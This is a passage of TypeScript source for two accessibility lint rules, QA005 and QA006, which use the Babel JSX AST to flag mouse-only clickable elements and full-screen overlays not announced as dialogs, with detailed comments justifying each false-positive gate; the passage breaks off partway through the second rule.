pattern's whole class back:\n *\n * native tags only a capitalised `<Card onClick>` may render a <button>\n * internally. Its semantics are in another file; this is\n * a single-file rule and cannot see them.\n * no spread `{...getRootProps()}` (react-dropzone), `{...listeners}`\n * (dnd-kit) and every wrapper that forwards props inject\n * onKeyDown/tabIndex/role we cannot see. One spread and\n * the element is undecidable.\n * not a barrier `onClick={(e) => e.stopPropagation()}` is not a\n * control. It stops a click reaching a control ABOVE it,\n * and there is nothing for a keyboard to activate.\n * no interactive `<div onClick={openRow}><button>Edit</button></div>` is\n * descendant a redundant affordance over a real, focusable control.\n * The keyboard path already exists, one node down.\n * not asChild-child Radix `<DialogTrigger asChild><div onClick/></...>`\n * merges role, tabIndex and key handling into the child\n * at runtime. The attributes are real; they are just not\n * written here.\n * not tr/li/tbody clickable rows are overwhelmingly a second way to reach\n * a link that is already in the row. Load-bearing: this\n * repo's own reports/page.tsx comes back the moment `tr`\n * is allowed to fire.\n * not focusable `<a onClick>`, `<summary onClick>`, `<label onClick>`\n * already take Tab and fire on Enter. The browser did it.\n * affordance requiring cursor-pointer / select-none / a hover: class\n * is what separates \"styled to be clicked\" from a div\n * that merely has a listener. It is the last FP off the\n * adversarial set, and it is paid for in recall: a header\n * styled by a plain CSS class (TanStack's own sorting\n * example uses `className=\"sortable-header\"`) is missed.\n *\n * On that last one the spec asks for a confidence demotion rather than a hard\n * gate. `QualityHit` has no confidence channel — the engine stamps every hit\n * `medium` — so \"demote to low, which is suppressed\" and \"do not report\" are\n * the same outcome here, and it is implemented as the gate.\n */\n\n/**\n * Tags the browser already makes keyboard-operable.\n *\n * Kept as a set of what IS focusable rather than a list of what is not,\n * because the naive version's tag list (`div|span|p`) is the thing that goes\n * stale: every tag it forgot — `article`, `figure`, `td` — silently stopped\n * being checked. `textarea` is here on the same footing as `input` and\n * `select`; it is focusable by the same rule, and the spec's enumeration is\n * describing the category, not fixing a literal list.\n */\nconst FOCUSABLE_TAGS = new Set([\n \"a\",\n \"area\",\n \"button\",\n \"input\",\n \"label\",\n \"option\",\n \"select\",\n \"summary\",\n \"textarea\",\n]);\n\n/**\n * Row- and table-structural tags, never reported.\n *\n * A clickable `<tr>` or `<li>` is nearly always a bigger hit area for a link\n * that is already inside it, and the review verified an FP of exactly this\n * shape in this repo. Deliberately the spec's three names and no more:\n * widening it to `td`/`thead` would suppress cells that really are the only\n * control, which is a true positive.\n */\nconst STRUCTURAL_TAGS = new Set([\"tr\", \"li\", \"tbody\"]);\n\n/** Descendants that already provide the keyboard path. */\nconst INTERACTIVE_DESCENDANT_TAGS = new Set([\n \"a\",\n \"button\",\n \"input\",\n \"select\",\n \"summary\",\n \"textarea\",\n]);\n\n/**\n * Component names that are interactive by convention.\n *\n * `Link`, and anything ending Button/Link/Trigger/Menu/Input/Select/Field —\n * which covers `DropdownMenuTrigger`, `Dialog.Trigger`, `SubmitButton`,\n * `FormField`. Naming convention is weak evidence in general; here it is used\n * only to STAY SILENT, so being wrong costs a finding, not a false accusation.\n */\nconst INTERACTIVE_COMPONENT = /(?:Button|Link|Trigger|Menu|Input|Select|Field)$/;\n\n/** Attributes that declare the element is already keyboard-reachable. */\nconst DECLARED_ATTR = /^(?:role|tabIndex|tabindex|onKey[A-Z]\\w*)$/;\n\n/** Methods whose only effect is to stop a click, not to act on one. */\nconst BARRIER_METHODS = new Set([\"stopPropagation\", \"preventDefault\", \"stopImmediatePropagation\"]);\n\n/**\n * \"This element is dressed as a control.\"\n *\n * Tailwind's `cursor-pointer` / `select-none` / any `hover:` variant, plus the\n * inline-style spelling. Matched against the comment-masked source of the\n * element's own className/class/style attribute — a window the AST hands us,\n * so a `hover:` in a neighbouring element or in a comment cannot supply it.\n */\nconst AFFORDANCE = /\\bcursor-pointer\\b|\\bselect-none\\b|\\bhover:|cursor\\s*:\\s*[\"'`]?\\s*pointer/;\n\n/**\n * Walk every node beneath `root`, structurally.\n *\n * Hand-rolled rather than @babel/traverse for two reasons: traverse needs a\n * scope and so cannot be pointed at a bare sub-node (an attribute value, one\n * element's subtree), and the exported helpers in ../../ast/ cover calls and\n * binary expressions, not JSX. `loc` and the comment arrays are skipped\n * because they carry no nodes and are the bulk of the object graph.\n */\nfunction walkNodes(value: unknown, visit: (node: Node) => void): void {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) walkNodes(item, visit);\n return;\n }\n const record = value as Record<string, unknown>;\n if (typeof record.type === \"string\") visit(value as Node);\n for (const key of Object.keys(record)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n if (key === \"innerComments\" || key === \"extra\" || key === \"tokens\") continue;\n walkNodes(record[key], visit);\n }\n}\n\n/**\n * Visit every JSX element, paired with its nearest enclosing JSX element.\n *\n * The parent is tracked on the way down rather than recovered afterwards from\n * source offsets, because the enclosing element is frequently not the\n * syntactic parent: `<Trigger asChild>{open && <div onClick/>}</Trigger>` puts\n * a conditional between them, and `{rows.map(r => <div onClick/>)}` puts a\n * whole function between them.\n */\nfunction eachJsxElement(\n root: Node,\n visit: (element: JSXElement, jsxParent: JSXElement | null) => void,\n): void {\n const descend = (value: unknown, parent: JSXElement | null): void => {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) descend(item, parent);\n return;\n }\n const record = value as Record<string, unknown>;\n let nextParent = parent;\n if (record.type === \"JSXElement\") {\n const element = value as JSXElement;\n visit(element, parent);\n nextParent = element;\n }\n for (const key of Object.keys(record)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n if (key === \"innerComments\" || key === \"extra\" || key === \"tokens\") continue;\n descend(record[key], nextParent);\n }\n };\n descend(root, null);\n}\n\n/** The terminal name of a tag: `div`, `motion.div` → div, `Dialog.Trigger` → Trigger. */\nfunction tagName(name: JSXOpeningElement[\"name\"]): string {\n if (name.type === \"JSXIdentifier\") return name.name;\n if (name.type === \"JSXMemberExpression\") return name.property.name;\n if (name.type === \"JSXNamespacedName\") return name.name.name;\n return \"\";\n}\n\n/**\n * Is this a native HTML element, i.e. one whose behaviour is decidable here?\n *\n * Lowercase JSX identifiers, plus `motion.*` — Framer Motion's namespace\n * renders the host element named by the property and nothing else, and it is\n * how a large share of generated apps spell every div. Any other capitalised\n * or namespaced tag is a component whose semantics live in a file this rule\n * is not allowed to open.\n */\nfunction isNativeTag(name: JSXOpeningElement[\"name\"]): boolean {\n if (name.type === \"JSXIdentifier\") return /^[a-z]/.test(name.name);\n if (name.type === \"JSXMemberExpression\") {\n return (\n name.object.type === \"JSXIdentifier\" &&\n name.object.name === \"motion\" &&\n /^[a-z]/.test(name.property.name)\n );\n }\n return false;\n}\n\nfunction attributeName(attr: JSXAttribute): string {\n return attr.name.type === \"JSXIdentifier\"\n ? attr.name.name\n : `${attr.name.namespace.name}:${attr.name.name.name}`;\n}\n\nfunction findAttribute(element: JSXOpeningElement, name: string): JSXAttribute | null {\n for (const attr of element.attributes) {\n if (attr.type !== \"JSXAttribute\") continue;\n if (attributeName(attr) === name) return attr;\n }\n return null;\n}\n\n/** A `{...anything}` on the opening tag. */\nfunction hasSpread(element: JSXOpeningElement): boolean {\n return element.attributes.some((attr) => attr.type === \"JSXSpreadAttribute\");\n}\n\n/** `role`, `tabIndex` or any `onKey*`, whatever the value is — including an expression. */\nfunction declaresKeyboardAccess(element: JSXOpeningElement): boolean {\n for (const attr of element.attributes) {\n if (attr.type !== \"JSXAttribute\") continue;\n if (DECLARED_ATTR.test(attributeName(attr))) return true;\n }\n return false;\n}\n\n/** `asChild` on the parent means the child inherits the trigger's real attributes. */\nfunction isAsChildTrigger(element: JSXElement | null): boolean {\n if (!element) return false;\n return findAttribute(element.openingElement, \"asChild\") !== null;\n}\n\n/**\n * Does the subtree already contain something focusable?\n *\n * The element's own opening tag is excluded by identity rather than by\n * starting the walk at `children`, because a JSX attribute can itself hold an\n * element (`icon={<Button/>}`) and that counts just as much as a child does.\n */\nfunction hasInteractiveDescendant(element: JSXElement): boolean {\n let found = false;\n walkNodes(element, (node) => {\n if (found) return;\n if (node.type !== \"JSXOpeningElement\") return;\n if (node === element.openingElement) return;\n const name = tagName(node.name);\n if (!name) return;\n if (/^[a-z]/.test(name)) {\n if (INTERACTIVE_DESCENDANT_TAGS.has(name)) found = true;\n return;\n }\n if (name === \"Link\" || INTERACTIVE_COMPONENT.test(name)) found = true;\n });\n return found;\n}\n\nfunction isBarrierCall(node: Node): boolean {\n if (node.type !== \"CallExpression\") return false;\n const callee = node.callee;\n if (callee.type !== \"MemberExpression\" && callee.type !== \"OptionalMemberExpression\") return false;\n if (callee.property.type !== \"Identifier\") return false;\n return BARRIER_METHODS.has(callee.property.name);\n}\n\n/** Empty, or nothing but stopPropagation()/preventDefault(). */\nfunction isBarrierHandler(fn: ArrowFunctionExpression | FunctionExpression | FunctionDeclaration): boolean {\n const body = fn.body;\n if (body.type !== \"BlockStatement\") return isBarrierCall(body);\n if (body.body.length === 0) return true;\n return body.body.every(\n (stmt) => stmt.type === \"ExpressionStatement\" && isBarrierCall(stmt.expression),\n );\n}\n\ntype HandlerNode = ArrowFunctionExpression | FunctionExpression | FunctionDeclaration;\n\n/**\n * Every named function in the file, so `onClick={handleClick}` can be judged.\n *\n * One level of indirection only. An unresolvable handler is treated as a real\n * one — the rule then falls through to the remaining gates instead of assuming\n * the worst OR assuming the best, and a barrier written as an exported named\n * function is a shape nobody produces.\n */\nfunction collectHandlers(root: Node): Map<string, HandlerNode> {\n const handlers = new Map<string, HandlerNode>();\n walkNodes(root, (node) => {\n if (node.type === \"FunctionDeclaration\" && node.id) {\n handlers.set(node.id.name, node);\n return;\n }\n if (node.type !== \"VariableDeclarator\") return;\n if (node.id.type !== \"Identifier\" || !node.init) return;\n if (node.init.type === \"ArrowFunctionExpression\" || node.init.type === \"FunctionExpression\") {\n handlers.set(node.id.name, node.init);\n }\n });\n return handlers;\n}\n\n/** The comment-masked source of one attribute, by the offsets the AST gives us. */\nfunction attributeSource(attr: JSXAttribute | null, code: string): string {\n if (!attr || attr.start == null || attr.end == null) return \"\";\n return code.slice(attr.start, attr.end);\n}\n\nexport const mouseOnlyControl: QualityRule = {\n id: \"QA005\",\n title: \"A control only a mouse can reach\",\n severity: \"medium\",\n category: \"Accessibility\",\n description:\n \"This element is styled and wired as a button but is not one: it has a click handler and no role, no tabIndex and no key handler, so it cannot be reached by Tab, activated by Enter or Space, announced by a screen reader, or driven by voice control. Anyone not using a mouse cannot perform this action at all.\",\n fix: \"Make it a <button type=\\\"button\\\"> — that is the whole fix, and it keeps the styling. If the tag cannot change, add role=\\\"button\\\", tabIndex={0} and an onKeyDown that fires the same handler on Enter and Space.\",\n precisionNotes:\n \"Native non-focusable tags only (a capitalised component's semantics live in another file); no spread attribute; the handler must do more than stopPropagation/preventDefault; no interactive descendant; not the child of an asChild trigger; never tr/li/tbody; and the element must carry a click affordance (cursor-pointer, select-none, hover:). Each clause removes a class of correct code: prop-forwarding wrappers, click barriers, redundant row affordances, and Radix triggers that merge their attributes into the child at runtime.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n for (const file of ctx.files) {\n // The spec's path list — test/story/fixture/mock/MDX/doc — is exactly\n // TEST_FILE_PATTERN + isVendoredPath, and `file.excluded` is both. No\n // extra `docs/` DIRECTORY gate on top: prose is .md/.mdx and already\n // covered, whereas a docs directory full of .tsx is a shipped route.\n // Measured on this repo: such a gate silently blinds the rule to\n // app/(marketing)/docs, which is the public documentation site.\n if (file.excluded) continue;\n // No AST, no rule. A regex fallback here would answer the question about\n // a character window instead of an element, which is the failure mode\n // this rule exists to avoid.\n const parsed = file.parsed;\n if (!parsed) continue;\n if (parsed.language !== \"jsx\" && parsed.language !== \"tsx\") continue;\n\n const handlers = collectHandlers(parsed.ast.program as Node);\n\n eachJsxElement(parsed.ast.program as Node, (element, jsxParent) => {\n const opening = element.openingElement;\n\n // ── The naive trigger: a non-interactive tag with a click handler and\n // nothing that makes it keyboard-reachable.\n if (!isNativeTag(opening.name)) return;\n const tag = tagName(opening.name);\n if (FOCUSABLE_TAGS.has(tag)) return;\n if (STRUCTURAL_TAGS.has(tag)) return;\n\n const onClick = findAttribute(opening, \"onClick\");\n if (!onClick) return;\n if (declaresKeyboardAccess(opening)) return;\n\n // ── Gate: a spread can carry role/tabIndex/onKeyDown from anywhere.\n if (hasSpread(opening)) return;\n\n // ── Gate: a barrier is not a control.\n const value = onClick.value;\n if (!value || value.type !== \"JSXExpressionContainer\") return;\n const expr = value.expression;\n let handler: HandlerNode | null = null;\n if (expr.type === \"ArrowFunctionExpression\" || expr.type === \"FunctionExpression\") {\n handler = expr;\n } else if (expr.type === \"Identifier\") {\n handler = handlers.get(expr.name) ?? null;\n }\n if (handler && isBarrierHandler(handler)) return;\n\n // ── Gate: the keyboard path already exists one node down.\n if (hasInteractiveDescendant(element)) return;\n\n // ── Gate: Radix merges the trigger's attributes into this child.\n if (isAsChildTrigger(jsxParent)) return;\n\n // ── Gate: it must look clickable. Absent affordance is the spec's\n // low-confidence bucket, and low confidence is not reported.\n const dressed =\n attributeSource(findAttribute(opening, \"className\"), file.code) +\n \" \" +\n attributeSource(findAttribute(opening, \"class\"), file.code) +\n \" \" +\n attributeSource(findAttribute(opening, \"style\"), file.code);\n if (!AFFORDANCE.test(dressed)) return;\n\n const line = opening.loc?.start.line ?? lineAt(file.content, opening.start ?? 0);\n hits.push({ file: file.path, line });\n });\n }\n return hits;\n },\n};\n","import type {\n JSXAttribute,\n JSXElement,\n JSXOpeningElement,\n Node,\n} from \"@babel/types\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA006 — a modal that is not announced as a dialog.\n *\n * `<div className=\"fixed inset-0 bg-black/50\">` with a panel inside it is how\n * a generator writes a modal. It covers the page, it takes clicks, and to\n * everyone using a mouse it behaves. To everyone else it does not exist: a\n * screen reader announces nothing when it opens and keeps reading the page\n * behind it, focus stays wherever it was so a keyboard user tabs through the\n * covered page to reach the close button, and Escape does nothing. This\n * repo's own signed-in surface shipped four of them before ModalShell.tsx.\n *\n * THIS IS AN AST RULE, NOT A REGEX RULE, and clause 1 is the reason. \"The file\n * contains `fixed inset-0`\" is true of this repo's CORRECT LegalModal.tsx —\n * the tokens are there, in a `backdropClassName=` prop handed to a component\n * that does declare the dialog. The question is whether ONE element's own\n * className carries those tokens, and that is a question about an attribute,\n * not about a file. Every other clause is likewise about a subtree, an\n * ancestor or an attribute; a character window answers none of them.\n *\n * Every clause below was bought with a false positive found by an adversarial\n * review. Each names the legitimate pattern it protects, and removing one\n * brings that whole class back:\n *\n * own className the single load-bearing clause. `fixed inset-0` living\n * anywhere in the file flags LegalModal.tsx, which is\n * correct code that delegates its semantics to a shell.\n * native tag only `<DialogPrimitive.Overlay>`, `<Modal>`, `<Backdrop>` —\n * whatever they are, their role and focus handling live\n * in a file this single-file rule may not open.\n * renders a panel a self-closing `fixed inset-0` div is a click-catcher\n * or a scrim, not a dialog. Nothing is in it to announce.\n * focusable inside a full-bleed hero, gradient wash, loading veil or toast\n * region has no controls. There is no keyboard trap to\n * create and nothing to move focus to.\n * no role anywhere `role=\"menu\"`, `role=\"status\"`, `role=\"navigation\"`,\n * `role=\"alertdialog\"` are all developers CHOOSING\n * semantics. Different from dialog is not absent.\n * visible overlay `pointer-events-none`, `z-0`, a negative z or a\n * `md:hidden` say this layer is decoration or is turned\n * off at this breakpoint.\n * open-gated without this, every route-level 404 page, empty state\n * and full-screen splash fires. A modal is a thing with\n * an open state.\n * no dismissal a file that handles Escape is a file whose author\n * thought about the keyboard.\n * no focus work the same, for `.focus()`, autoFocus and focus traps.\n * no primitive a file importing Radix/Headless UI/MUI/Mantine is a\n * codebase with a dialog system; a hand-rolled overlay in\n * it is far more likely a popover, a drag layer or a\n * custom backdrop feeding a primitive we cannot see.\n *\n * VOLUME IS ITS OWN PRECISION PROBLEM. On the corpus the median affected repo\n * fires twice and the worst fires 82 times, with one file firing 12. Eighty-two\n * copies of one accessibility finding reads as noise no matter how right each\n * one is, so output is capped at one per file and five per scan.\n */\n\n/** Keys on a Babel node that hold no child nodes; skipping them is most of the walk cost. */\nconst NON_NODE_KEYS = new Set([\n \"loc\",\n \"leadingComments\",\n \"trailingComments\",\n \"innerComments\",\n \"extra\",\n \"tokens\",\n]);\n\n/**\n * The tokens that make an element a full-viewport layer.\n *\n * Matched against class tokens, allowing a Tailwind variant prefix, so\n * `md:fixed` and `dark:inset-0` count. A token that merely CONTAINS the text\n * — `fixed-header`, `inset-0.5` — does not.\n */\nconst OVERLAY_TOKENS = [\"fixed\", \"inset-0\"];\n\n/**\n * Class tokens that say this layer is not a modal, or is not on.\n *\n * `pointer-events-none` is a decorative wash, `z-0` and any negative z put it\n * behind the page, and a responsive `hidden` means it is turned off at a\n * breakpoint — a mobile/desktop pair of the same panel, where only one of them\n * is ever the dialog.\n */\nfunction isSuppressingClassToken(token: string): boolean {\n const bare = token.replace(/^(?:[a-z0-9_-]+:)+/, \"\");\n if (bare === \"pointer-events-none\") return true;\n if (bare === \"z-0\") return true;\n // `-z-10`, and the arbitrary-value spelling `z-[-1]`.\n if (/^-z-/.test(bare) || /^z-\\[-/.test(bare)) return true;\n // `sm:hidden` … `2xl:hidden`, and the `max-` spelling of the same intent.\n if (/^(?:max-)?(?:sm|md|lg|xl|2xl):hidden$/.test(token)) return true;\n return false;\n}\n\n/** Native elements a keyboard can already reach, plus `form` per the spec. */\nconst FOCUSABLE_TAGS = new Set([\"a\", \"button\", \"form\", \"input\", \"select\", \"textarea\"]);\n\n/** Components that are a control by naming convention — `SubmitButton`, `TextInput`. */\nconst FOCUSABLE_COMPONENT = /(?:Button|Input)$/;\n\n/**\n * Identifiers that name an open state.\n *\n * Deliberately loose, because it is used only to decide whether to LOOK at an\n * element at all. Being wrong here costs a finding, never a false accusation.\n */\nconst OPEN_IDENTIFIER = /open|show|visible|modal|dialog|expand|selected|editing|creating|confirm/i;\n\n/** A file whose NAME says the whole thing is a modal, which is gate enough. */\nconst MODAL_FILENAME = /(?:modal|dialog|sheet|drawer|lightbox|popup)$/i;\n\n/**\n * Anything in the file that dismisses on a key.\n *\n * Broad on purpose, and matched against the comment-masked source so a comment\n * that merely mentions Escape cannot silence a real defect. `useEventListener`\n * and `useKey` are here because a hook wrapping a keydown listener is the same\n * evidence as the listener.\n */\nconst DISMISSAL_SIGNAL =\n /\\bEscape\\b|\\bEsc\\b|\\b(?:key|keyCode|which|charCode)\\b[^;\\n]{0,60}={2,3}\\s*27|\\bonEscapeKeyDown\\b|\\buseHotkeys\\b|\\buseKey\\b|\\buseKeyPress\\b|\\buseEventListener\\b|addEventListener\\s*\\(\\s*[\"'`]keydown/;\n\n/** Anything in the file that moves or traps focus. */\nconst FOCUS_SIGNAL =\n /\\.focus\\s*\\(|\\bautoFocus\\b|\\binitialFocus\\b|\\bFocusLock\\b|\\bFocusTrap\\b|focus-trap|\\binert\\b/;\n\n/**\n * Dialog primitives, matched file-wide.\n *\n * Blunt on purpose. It costs true positives in a file that imports Radix for\n * one thing and hand-rolls an overlay for another, and it buys silence on the\n * population most likely to be paying for real engineering — which is the\n * trade this rule wants, since its whole value is being quiet enough to read.\n */\nconst DIALOG_PRIMITIVE =\n /@radix-ui\\/react-dialog|@radix-ui\\/react-alert-dialog|@headlessui\\/react|[\"'`]react-modal[\"'`]|[\"'`]vaul[\"'`]|[\"'`]cmdk[\"'`]|@reach\\/dialog|react-aria|@mui\\/material|[\"'`]antd[\"'`]|@mantine|@chakra-ui|@ark-ui|react-bootstrap|flowbite|@nextui/;\n\n/**\n * Example and documentation trees, on top of the engine's own exclusions.\n *\n * Clause 11 of the spec. `file.excluded` already covers tests, stories,\n * fixtures, mocks and vendored code; an `examples/` or `docs/` directory of\n * live .tsx is demo code written to be short, and its overlays are\n * illustrations of layout rather than shipped dialogs.\n */\nconst EXAMPLE_OR_DOC_PATH = /(?:^|\\/)(?:examples?|docs?)\\//i;\n\n/** At most one finding per file, and this many per scan. */\nconst MAX_HITS_PER_SCAN = 5;\n\n/**\n * Walk every node beneath `root`, structurally.\n *\n * Hand-rolled rather than @babel/traverse because traverse needs a scope and\n * so cannot be pointed at a bare sub-node — an attribute value, one element's\n * subtree — and the exported helpers in ../../ast/ cover calls and binary\n * expressions, not JSX.\n */\nfunction walkNodes(value: unknown, visit: (node: Node) => void): void {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) walkNodes(item, visit);\n return;\n }\n const record = value as Record<string, unknown>;\n if (typeof record.type === \"string\") visit(value as Node);\n for (const key of Object.keys(record)) {\n if (NON_NODE_KEYS.has(key)) continue;\n walkNodes(record[key], visit);\n }\n}\n\n/**\n * Parent links for the whole program.\n *\n * Clause 7 asks whether the overlay is rendered under an open-ish condition,\n * and the condition is an ANCESTOR — `{isOpen && <div/>}` puts the test two\n * nodes up, `{sel ? <div/> : null}` three. Recovering that from source offsets\n * gets it wrong whenever a `.map(` or another element sits between; a parent\n * map gets it right by construction.\n */\nfunction buildParents(root: Node): Map<Node, Node> {\n const parents = new Map<Node, Node>();\n const descend = (value: unknown, parent: Node | null): void => {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) descend(item, parent);\n return;\n }\n const record = value as Record<string, unknown>;\n let nextParent = parent;\n if (typeof record.type === \"string\") {\n const node = value as Node;\n if (parent) parents.set(node, parent);\n nextParent = node;\n }\n for (const key of Object.keys(record)) {\n if (NON_NODE_KEYS.has(key)) continue;\n descend(record[key], nextParent);\n }\n };\n descend(root, null);\n return parents;\n}\n\n/** The terminal name of a tag: `div`, `motion.div` → div, `Dialog.Trigger` → Trigger. */\nfunction tagName(name: JSXOpeningElement[\"name\"]): string {\n if (name.type === \"JSXIdentifier\") return name.name;\n if (name.type === \"JSXMemberExpression\") return name.property.name;\n if (name.type === \"JSXNamespacedName\") return name.name.name;\n return \"\";\n}\n\n/**\n * Clause 2 — is this an element whose semantics are decidable HERE?\n *\n * A lowercase JSX identifier is a native host element, and `motion.<lowercase>`\n * renders exactly that host element and nothing else, which is how a large\n * share of generated apps spell every div. Anything capitalised or namespaced\n * is a component; whatever role, focus trap and Escape handler it has live in\n * a file this rule is not allowed to open, so it is not ours to judge.\n *\n * The spec enumerates div/section/aside. That is the common spelling, not a\n * fixed list — the same reasoning QA005 applies to its tag sets, where a\n * hardcoded `div|span|p` is precisely the thing that silently goes stale.\n */\nfunction isNativeOverlayTag(name: JSXOpeningElement[\"name\"]): boolean {\n if (name.type === \"JSXIdentifier\") return /^[a-z]/.test(name.name);\n if (name.type === \"JSXMemberExpression\") {\n return (\n name.object.type === \"JSXIdentifier\" &&\n name.object.name === \"motion\" &&\n /^[a-z]/.test(name.property.name)\n );\n }\n return false;\n}\n\nfunction attributeName(attr: JSXAttribute): string {\n return attr.name.type === \"JSXIdentifier\"\n ? attr.name.name\n : `${attr.name.namespace.name}:${attr.name.name.name}`;\n}\n\nfunction findAttribute(opening: JSXOpeningElement, name: string): JSXAttribute | null {\n for (const attr of opening.attributes) {\n if (attr.type !== \"JSXAttribute\") continue;\n if (attributeName(attr) === name) return attr;\n }\n return null;\n}\n\n/**\n * Clause 1 — the class tokens this element declares ON ITSELF.\n *\n * Every string literal and template chunk reachable inside the className (or\n * `class`) attribute, which resolves the three spellings that actually occur:\n *\n * className=\"fixed inset-0 bg-black/50\"\n * className={`fixed inset-0 ${open ? \"opacity-100\" : \"opacity-0\"}`}\n * className={cn(\"fixed inset-0\", isOpen && \"z-50\", className)}\n *\n * Identifiers are NOT followed. That is the point of the clause: ModalShell's\n * `className={backdropClassName}` has a default parameter carrying the tokens,\n * and resolving it would flag the one component in this repo that gets modals\n * right. If the tokens are not written on the element, the element is not\n * provably the overlay.\n */\nfunction ownClassTokens(opening: JSXOpeningElement): string[] {\n const attr = findAttribute(opening, \"className\") ?? findAttribute(opening, \"class\");\n if (!attr || !attr.value) return [];\n const strings: string[] = [];\n walkNodes(attr.value as Node, (node) => {\n if (node.type === \"StringLiteral\") strings.push(node.value);\n else if (node.type === \"TemplateElement\") strings.push(node.value.cooked ?? node.value.raw);\n });\n return strings.join(\" \").split(/\\s+/).filter(Boolean);\n}\n\n/** A class token, allowing any stack of Tailwind variant prefixes. */\nfunction hasClassToken(tokens: string[], name: string): boolean {\n return tokens.some((t) => t === name || t.endsWith(`:${name}`));\n}\n\n/**\n * Clause 3 — does it render a panel?\n *\n * A self-closing overlay, or one whose only children are text and expressions\n * with no element in them, is a scrim or a click-catcher. Expression children\n * are searched rather than required to be elements directly, because the panel\n * is routinely behind one — `{step === 2 && <Panel/>}`, `{rows.map(...)}` —\n * and that is still an element child of this overlay.\n */\nfunction rendersElementChild(element: JSXElement): boolean {\n for (const child of element.children) {\n if (child.type === \"JSXElement\" || child.type === \"JSXFragment\") return true;\n if (child.type !== \"JSXExpressionContainer\") continue;\n let found = false;\n walkNodes(child.expression as Node, (node) => {\n if (node.type === \"JSXElement\" || node.type === \"JSXFragment\") found = true;\n });\n if (found) return true;\n }\n return false;\n}\n\n/**\n * Clause 4 — is there anything in here a keyboard would need to reach?\n *\n * The element's own opening tag is excluded by identity, so a `<form>` styled\n * as the overlay does not count as its own focusable content. Attribute values\n * are searched along with children: `footer={<Button/>}` is just as much a\n * control inside the dialog as a child is.\n */\nfunction hasFocusableDescendant(element: JSXElement): boolean {\n let found = false;\n walkNodes(element, (node) => {\n if (found) return;\n if (node.type !== \"JSXOpeningElement\") return;\n if (node === element.openingElement) return;\n const name = tagName(node.name);\n if (!name) return;\n if (/^[a-z]/.test(name)) {\n if (FOCUSABLE_TAGS.has(name)) found = true;\n return;\n }\n if (FOCUSABLE_COMPONENT.test(name)) found = true;\n });\n return found;\n}\n\n/**\n * Clause 5 — has anyone already declared semantics in here?\n *\n * ANY `role`, whatever its value, plus `aria-modal` and a `dialog` element.\n * `role=\"menu\"` on a dropdown that happens to be positioned full-bleed on\n * mobile, `role=\"status\"` on a loading veil and `role=\"alertdialog\"` on a\n * confirm are all a developer choosing semantics deliberately — different from\n * `dialog` is not the same as missing. The element itself is included in the\n * walk, so an overlay carrying its own role is silent.\n *\n * A capitalised `<Dialog>` child counts the same as a native `<dialog>`: by\n * clause 2's own logic, a component named for the thing declares the thing\n * somewhere we cannot see.\n */\nfunction declaresSemantics(element: JSXElement): boolean {\n let found = false;\n walkNodes(element, (node) => {\n if (found) return;\n if (node.type === \"JSXAttribute\") {\n const name = attributeName(node);\n if (name === \"role\" || name === \"aria-modal\") found = true;\n return;\n }\n if (node.type === \"JSXOpeningElement\" && tagName(node.name).toLowerCase() === \"dialog\") {\n found = true;\n }\n });\n return found;\n}\n\n/**\n * Does this expression mention an identifier that names an open state?\n *\n * Plain `Identifier` only, which covers the member spellings for free —\n * `props.isOpen` and `state.showDialog` both carry the name as the property\n * Identifier. JSX identifiers are deliberately NOT matched: this predicate\n * only ever WIDENS the rule's surface, so it gets the narrowest spelling that\n * answers the question.\n */\nfunction mentionsOpenState(node: Node | null | undefined): boolean {\n if (!node) return false;\n let found = false;\n walkNodes(node, (n) => {\n if (found) return;\n if (n.type === \"Identifier\" && OPEN_IDENTIFIER.test(n.name)) found = true;\n });\n return found;\n}\n\nconst FUNCTION_TYPES = new Set([\n \"FunctionDeclaration\",\n \"FunctionExpression\",\n \"ArrowFunctionExpression\",\n \"ObjectMethod\",\n \"ClassMethod\",\n]);\n\n/**\n * `if (!isOpen) return null;` — the other half of clause 7.\n *\n * Only the enclosing function's top-level statements are examined: a guard\n * buried inside a nested branch is not gating this render, and reading it as\n * though it were is how a whole-function grep turns into the file-wide grep\n * clause 1 exists to avoid.\n */\nfunction hasOpenStateEarlyReturn(fn: Node): boolean {\n const body = (fn as { body?: Node }).body;\n if (!body || body.type !== \"BlockStatement\") return false;\n const returnsNothing = (stmt: Node): boolean => {\n if (stmt.type === \"ReturnStatement\") {\n const arg = stmt.argument;\n if (!arg) return true;\n if (arg.type === \"NullLiteral\") return true;\n if (arg.type === \"Identifier\" && arg.name === \"undefined\") return true;\n if (arg.type === \"BooleanLiteral\" && arg.value === false) return true;\n return false;\n }\n if (stmt.type === \"BlockStatement\") return stmt.body.some((s) => returnsNothing(s as Node));\n return false;\n };\n for (const stmt of body.body) {\n if (stmt.type !== \"IfStatement\") continue;\n if (!mentionsOpenState(stmt.test as Node)) continue;\n if (returnsNothing(stmt.consequent as Node)) return true;\n }\n return false;\n}\n\n/**\n * Clause 7 — is this overlay gated on something being open?\n *\n * This is the clause that drops the route-level 404 page, the full-screen\n * empty state and the splash screen: each is a `fixed inset-0` layer with a\n * button in it and no role, and each is rendered unconditionally because it IS\n * the page. A modal is the thing that has an open state.\n *\n * Three ways to show it, in ascending cost: the file is named for a modal; an\n * ancestor `&&`/`?:` tests an open-ish identifier; the enclosing component\n * early-returns on one.\n */\nfunction isOpenGated(element: JSXElement, parents: Map<Node, Node>, baseName: string): boolean {\n if (MODAL_FILENAME.test(baseName)) return true;\n\n let child: Node = element;\n let parent = parents.get(child);\n // Bounded so a pathological tree cannot turn a scan into a hang; real JSX\n // nests an order of magnitude shallower than this.\n for (let steps = 0; parent && steps < 256; steps++) {\n if (parent.type === \"LogicalExpression\" && (parent.operator === \"&&\" || parent.operator === \"||\")) {\n // Only when the element is the RESULT of the test, not part of it.\n if ((parent.right as Node) === child && mentionsOpenState(parent.left as Node)) return true;\n } else if (parent.type === \"ConditionalExpression\") {\n const isBranch = (parent.consequent as Node) === child || (parent.alternate as Node) === child;\n if (isBranch && mentionsOpenState(parent.test as Node)) return true;\n } else if (FUNCTION_TYPES.has(parent.type)) {\n if 